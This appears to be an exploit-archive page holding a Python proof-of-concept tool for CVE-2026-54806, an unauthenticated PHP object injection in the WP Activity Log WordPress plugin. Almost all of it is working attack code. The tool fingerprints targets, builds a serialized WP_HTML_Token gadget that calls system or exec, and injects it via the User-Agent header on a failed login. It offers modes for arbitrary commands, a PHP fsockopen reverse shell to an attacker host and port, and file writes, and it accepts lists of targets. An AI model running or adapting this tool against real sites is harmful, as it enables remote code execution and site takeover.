5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2026-54806.py PY
#!/usr/bin/env python3
# Exploit Title: WP Activity Log <= 5.6.3.1 - Unauthenticated PHP Object Injection
# Date: 2026-06-22
# Exploit Author: Joshua van der Poll
# Vendor Homepage: https://melapress.com/wordpress-activity-log/
# Software Link: https://downloads.wordpress.org/plugin/wp-security-audit-log.5.6.3.1.zip
# Version: <= 5.6.3.1
# Tested on: WordPress 6.4.1 / PHP 8.3 / Debian
# CVE: CVE-2026-54806

# CVE-2026-54806 — WP Activity Log Unauthenticated PHP Object Injection
# Affected: WP Activity Log (wp-security-audit-log) <= 5.6.3.1
# Impact: Unauthenticated PHP Object Injection via User-Agent header on any logged event
# CWE-502: Deserialization of Untrusted Data | CVSS 9.8
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Repo: https://github.com/joshuavanderpoll/CVE-2026-54806

import argparse
import random
import re
import string
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

REPO_URL = "https://github.com/joshuavanderpoll/CVE-2026-54806"
PROJECT_NAME = "CVE-2026-54806"

RESET = "\033[0m"
BOLD = "\033[1m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
PINK = "\033[95m"
CYAN = "\033[96m"

DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 ({PROJECT_NAME}; +{REPO_URL})"
DEFAULT_TIMEOUT = 15

# WP_HTML_Token gadget: __destruct → call_user_func($on_destroy, $bookmark_name)
# Only WP core class with all-public properties (survives sanitize_text_field) and
# a usable magic method. Present in WordPress 6.4.0 - 6.4.1 (__wakeup blocker added in 6.4.2).
CHAIN_WP_VERSIONS = "6.4.0 - 6.4.1"

EXEC_FUNCTIONS = ["system", "passthru", "exec", "shell_exec"]


def banner():
    art = r"""
  ______   ______    ___  ___  ___  ____     ____ ____ ___  ___  ____
 / ___/ | / / __/___|_  |/ _ \|_  |/ __/____/ __// / /( _ )/ _ \/ __/
/ /__ | |/ / _//___/ __// // / __// _ \/___/__ \/_  _/ _  / // / _ \
\___/ |___/___/   /____/\___/____/\___/   /____/ /_/ \___/\___/\___/
"""
    print(f"{PINK}{art}{RESET}")
    print(f"  {BOLD}{PINK}{REPO_URL}{RESET}")
    print()


def info(msg):
    print(f"  {BLUE}[*]{RESET} {msg}")


def success(msg):
    print(f"  {GREEN}[+]{RESET} {msg}")


def error(msg):
    print(f"  {RED}[-]{RESET} {msg}")


def processing(msg):
    print(f"  {CYAN}[@]{RESET} {msg}")


def question(msg):
    return input(f"  {YELLOW}[?]{RESET} {msg}")


def normalize_url(target):
    target = target.strip().rstrip("/")

    if not target.startswith("http://") and not target.startswith("https://"):
        target = "http://" + target

    return target


def get_session(useragent, timeout, verify_ssl=False):
    session = requests.Session()
    session.headers.update({"User-Agent": useragent})
    session.timeout = timeout
    session.verify = verify_ssl

    return session


def detect_wordpress(session, target, login_path="/wp-login.php"):
    processing("Detecting WordPress")

    try:
        resp = session.get(f"{target}{login_path}", allow_redirects=True)
    except requests.RequestException as e:
        error(f"Could not reach target: {e}")
        return False

    if "wp-submit" not in resp.text:
        error("Target does not appear to be WordPress (use --skip-wp-check to bypass)")
        return False

    success("WordPress detected")

    wp_version = None
    meta_match = re.search(
        r'<meta name="generator" content="WordPress ([\d.]+)"', resp.text
    )

    if meta_match:
        wp_version = meta_match.group(1)

    if not wp_version:
        try:
            feed_resp = session.get(f"{target}/feed/", allow_redirects=True)
            feed_match = re.search(
                r"<generator>https://wordpress.org/\?v=([\d.]+)</generator>",
                feed_resp.text,
            )

            if feed_match:
                wp_version = feed_match.group(1)
        except requests.RequestException:
            pass

    if wp_version:
        info(f"WordPress version: {BOLD}{wp_version}{RESET}")

    return True


def detect_plugin(session, target):
    processing("Detecting WP Activity Log")

    readme_url = f"{target}/wp-content/plugins/wp-security-audit-log/readme.txt"

    try:
        resp = session.get(readme_url)
    except requests.RequestException:
        error("Could not check plugin readme")
        return None

    if resp.status_code != 200 or "WP Activity Log" not in resp.text:
        error("WP Activity Log not detected (readme.txt not accessible)")
        return None

    success("WP Activity Log detected")

    version_match = re.search(r"Stable tag:\s*([\d.]+)", resp.text)

    if version_match:
        version = version_match.group(1)
        info(f"Plugin version: {BOLD}{version}{RESET}")
        return version

    return "unknown"


def generate_payload(command, func="system"):
    cmd_len = len(command)
    func_len = len(func)

    payload = (
        f'O:13:"WP_HTML_Token":2:{{s:13:"bookmark_name";'
        f's:{cmd_len}:"{command}";'
        f's:10:"on_destroy";s:{func_len}:"{func}";}}'
    )

    if len(payload) > 255:
        error(f"Payload too long ({len(payload)}/255) — shorten command")
        return None

    return payload


def inject_payload(session, target, payload, login_path="/wp-login.php"):
    random_user = "wsal_" + "".join(random.choices(string.ascii_lowercase, k=6))

    try:
        resp = session.post(
            f"{target}{login_path}",
            data={
                "log": random_user,
                "pwd": "invalid",
                "wp-submit": "Log In",
                "testcookie": "1",
            },
            headers={"User-Agent": payload},
            allow_redirects=False,
        )
    except requests.RequestException as e:
        error(f"Injection request failed: {e}")
        return False

    if resp.status_code in (200, 302):
        return True

    error(f"Unexpected response: HTTP {resp.status_code}")
    return False


def deliver(session, target, command, args):
    info(f"Gadget: {BOLD}WP_HTML_Token{RESET} (WordPress {CHAIN_WP_VERSIONS})")

    for func in EXEC_FUNCTIONS:
        processing(f"Trying {BOLD}{func}(){RESET}")

        payload = generate_payload(command, func)

        if payload is None:
            continue

        info(f"Payload length: {len(payload)}/255")

        if inject_payload(session, target, payload, args.login_path):
            success(f'Payload injected: {BOLD}{func}("{command}"){RESET}')
            info(f"Payload: {BOLD}{payload}{RESET}")
            success(
                "Command executes (blind) when an admin visits the WordPress dashboard"
            )
            return True

    error("Injection failed")
    return False


def print_footer():
    print()
    info(f"{YELLOW}Remediation:{RESET}")
    info("Update WP Activity Log to >= 5.6.4")
    print()
    print(
        f"  {YELLOW}⭐ If this tool helped you, consider starring the repo: "
        f"{BOLD}{YELLOW}{REPO_URL}{RESET}"
    )


def run_check(args):
    targets = get_targets(args)

    for target in targets:
        print()
        info(f"Target: {BOLD}{target}{RESET}")

        session = get_session(args.useragent, args.timeout)

        if not args.skip_wp_check:
            if not detect_wordpress(session, target, args.login_path):
                continue

        plugin_version = detect_plugin(session, target)

        if plugin_version is None:
            continue

        marker = "wsal_poi_" + "".join(random.choices(string.ascii_lowercase, k=8))
        check_payload = f'a:1:{{s:6:"marker";s:{len(marker)}:"{marker}";}}'

        processing("Injecting check payload via failed login")

        if inject_payload(session, target, check_payload, args.login_path):
            success("Payload injected via User-Agent on failed login")
            info(f"Payload: {BOLD}{check_payload}{RESET}")
            success(
                f"Target is {BOLD}VULNERABLE{RESET} — unauthenticated PHP Object Injection"
            )
            info("Stored User-Agent passes through sanitize_text_field() intact")
            info(
                "Retrieval calls maybe_unserialize() without allowed_classes restriction"
            )
            info("Triggers when admin visits WordPress dashboard")


def run_command(args):
    targets = get_targets(args)

    for target in targets:
        print()
        info(f"Target: {BOLD}{target}{RESET}")

        session = get_session(args.useragent, args.timeout)

        if not args.skip_wp_check:
            if not detect_wordpress(session, target, args.login_path):
                continue

        if detect_plugin(session, target) is None:
            continue

        if deliver(session, target, args.command, args):
            print_footer()
            return


def run_shell(args):
    targets = get_targets(args)

    for target in targets:
        print()
        info(f"Target: {BOLD}{target}{RESET}")

        session = get_session(args.useragent, args.timeout)

        if not args.skip_wp_check:
            if not detect_wordpress(session, target, args.login_path):
                continue

        if detect_plugin(session, target) is None:
            continue

        shell_cmd = (
            f'php -r \'$s=fsockopen("{args.lhost}",{args.lport});'
            f'$p=proc_open("sh",array(0=>$s,1=>$s,2=>$s),$pipes);\''
        )
        info(f"Reverse shell: {BOLD}{args.lhost}:{args.lport}{RESET} (PHP fsockopen)")

        if deliver(session, target, shell_cmd, args):
            info(f"Start listener: {BOLD}nc -lvnp {args.lport}{RESET}")
            print_footer()
            return


def run_write_file(args):
    targets = get_targets(args)
    content, path = args.write_file

    for target in targets:
        print()
        info(f"Target: {BOLD}{target}{RESET}")

        session = get_session(args.useragent, args.timeout)

        if not args.skip_wp_check:
            if not detect_wordpress(session, target, args.login_path):
                continue

        if detect_plugin(session, target) is None:
            continue

        write_cmd = f"echo '{content}' > {path}"

        if deliver(session, target, write_cmd, args):
            info(f"Path: {BOLD}{path}{RESET}")
            print_footer()
            return


def get_targets(args):
    targets = []

    if args.target:
        targets.append(normalize_url(args.target))

    if args.target_list:
        try:
            with open(args.target_list, "r") as f:
                for line in f:
                    line = line.strip()

                    if line and not line.startswith("#"):
                        targets.append(normalize_url(line))
        except FileNotFoundError:
            error(f"Target list not found: {args.target_list}")
            sys.exit(1)

    if not targets:
        error("No targets specified. Use -t <url> or -l <file>")
        sys.exit(1)

    return targets


def main():
    banner()

    parser = argparse.ArgumentParser(
        description="CVE-2026-54806 — WP Activity Log Unauthenticated PHP Object Injection",
        formatter_class=argparse.RawTextHelpFormatter,
    )

    parser.add_argument("-t", "--target", help="Target WordPress URL")
    parser.add_argument("-l", "--target-list", help="File with list of target URLs")

    actions = parser.add_argument_group("actions")
    actions.add_argument(
        "--check", action="store_true", help="Check if target is vulnerable"
    )
    actions.add_argument("--command", help="Command to execute on target")
    actions.add_argument(
        "--shell",
        action="store_true",
        help="Inject reverse shell (requires --lhost and --lport)",
    )
    actions.add_argument(
        "--write-file",
        nargs=2,
        metavar=("CONTENT", "PATH"),
        help="Write file on target",
    )

    shell_opts = parser.add_argument_group("shell options")
    shell_opts.add_argument("--lhost", help="Listener host for reverse shell")
    shell_opts.add_argument("--lport", help="Listener port for reverse shell")

    tuning = parser.add_argument_group("tuning")
    tuning.add_argument(
        "--skip-wp-check",
        action="store_true",
        help="Skip WordPress detection",
    )
    tuning.add_argument(
        "--login-path",
        default="/wp-login.php",
        help="Custom login path (default: /wp-login.php)",
    )
    tuning.add_argument(
        "--useragent",
        default=DEFAULT_UA,
        help="Custom User-Agent for non-payload requests",
    )
    tuning.add_argument(
        "--timeout",
        type=int,
        default=DEFAULT_TIMEOUT,
        help="HTTP request timeout in seconds",
    )

    args = parser.parse_args()

    if not args.target and not args.target_list:
        error("No target specified. Use -t <url> or -l <file>")
        sys.exit(1)

    if args.check:
        run_check(args)
    elif args.command:
        run_command(args)
    elif args.shell:
        if not args.lhost or not args.lport:
            error("--shell requires --lhost and --lport")
            sys.exit(1)
        run_shell(args)
    elif args.write_file:
        run_write_file(args)
    else:
        error("No action specified. Use --check, --command, --shell, or --write-file")
        sys.exit(1)


if __name__ == "__main__":
    main()